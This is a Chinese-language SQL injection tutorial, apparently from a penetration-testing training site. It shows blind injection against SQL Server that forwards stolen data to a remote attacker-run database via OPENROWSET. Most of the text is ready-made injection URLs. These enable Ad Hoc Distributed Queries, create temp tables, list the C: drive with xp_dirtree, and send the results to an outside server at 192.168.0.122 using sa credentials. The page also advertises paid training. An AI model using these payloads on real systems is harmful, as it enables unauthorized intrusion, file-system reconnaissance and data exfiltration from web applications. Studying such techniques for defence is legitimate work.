[原创]WEB安全第四章SQL注入篇15 sqlserver openrowset转发利用
【推荐学习】暗月渗透测试培训 十多年渗透经验,体系化培训渗透测试 、高效学习渗透测试,欢迎添加微信好友aptimeok 咨询。
WEB安全第四章SQL注入篇15 sqlserver openrowset转发利用
适用于盲注入,页面不返回信息 使用这种注入方法,需要一台带有sqlserver的机器。
原理就是把当前数据转发到远程的sqlserver上。
- 启用Ad Hoc Distributed Queries:
;exec sp_configure ‘show advanced options’,1 reconfigure
;exec sp_configure ‘Ad Hoc Distributed Queries’,1 reconfigure
- 为了安全使用完成后,关闭Ad Hoc Distributed Queries:
;exec sp_configure ‘Ad Hoc Distributed Queries’,0 reconfigure
;exec sp_configure ‘show advanced options’,0 reconfigure
1、开启扩展
http://www.demo1.com/index.aspx?id=1;exec sp_configure ‘show advanced options’,1 reconfigure;exec sp_configure ‘Ad Hoc Distributed Queries’,1 reconfigure
本地建立临时表
create table ##version (VERSION varchar(500))
2、查询系统信息
http://www.demo1.com/index.aspx?id=1;insert into OPENROWSET(‘SQLOLEDB’, ‘server=192.168.0.122;uid=sa;pwd=123456’, ‘select * from %23%23version’ ) select DB_NAME()
![[原创]WEB安全第四章SQL注入篇15 sqlserver openrowset转发利用](https://www.moonsec.com/wp-content/themes/justnews/themer/assets/images/lazy.png)
执行上面语句之后 再来查询远程sqlserver上的表
select * from ##version
![[原创]WEB安全第四章SQL注入篇15 sqlserver openrowset转发利用](https://www.moonsec.com/wp-content/themes/justnews/themer/assets/images/lazy.png)
3、两边创建临时表
create table ##nonamed( dir ntext, num int )
http://www.demo1.com/index.aspx?id=1;create table %23%23nonamed( dir ntext, num int )
4、查询路径
insert %23%23nonamed execute master..xp_dirtree ‘c:/’,1
向nonamed表插入c盘下路径的数据
http://www.demo1.com/index.aspx?id=1;insert %23%23nonamed execute master..xp_dirtree ‘c:/’,1
这里就是把数据转发到远程192.168.0.122 sqlserver上
http://www.demo1.com/index.aspx?id=1;insert into OPENROWSET(‘SQLOLEDB’, ‘server=192.168.0.122;uid=sa;pwd=123456’, ‘select * from %23%23nonamed’ ) select * from %23%23nonamed
在远程sqlserver执行这个命令 就可以获取 数据
select * from %23%23nonamed
![[原创]WEB安全第四章SQL注入篇15 sqlserver openrowset转发利用](https://www.moonsec.com/wp-content/themes/justnews/themer/assets/images/lazy.png)
原创文章,作者:mOon,如若转载,请注明出处:https://www.moonsec.com/125.html